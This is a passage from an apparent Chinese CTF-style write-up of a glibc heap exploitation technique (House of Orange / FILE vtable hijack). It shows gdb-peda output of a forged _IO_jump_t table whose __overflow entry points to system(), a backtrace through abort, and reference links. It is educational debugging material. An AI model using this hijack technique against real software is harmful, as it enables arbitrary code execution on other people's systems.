05:0028│ 0x7ffcd401da58 ◂— 0x7d /* '}' */
06:0030│ 0x7ffcd401da60 —▸ 0x7ffcd401de20 ◂— 0x20 /* ' ' */
07:0038│ 0x7ffcd401da68 ◂— 0x7d /* '}' */
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
► f 0 7f6d94c19193 _IO_flush_all_lockp+371
f 1 7f6d94bd3fbd abort+253
f 2 7f6d94c147ea
f 3 7f6d94c1f13e _int_malloc+1470
f 4 7f6d94c1f13e _int_malloc+1470
f 5 7f6d94c21184 malloc+84
f 6 55fc6549cd6d
f 7 55fc6549d402
f 8 7f6d94bbd830 __libc_start_main+240
gdb-peda$ x 0x7f6d94be2390
0x7f6d94be2390 <__libc_system>: 0xfa86e90b74ff8548

那个rax就是jump table了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ p *(struct _IO_jump_t *)$rax
$28 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x0,
__overflow = 0x7f6d94be2390 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

reference

http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

自愿打赏专区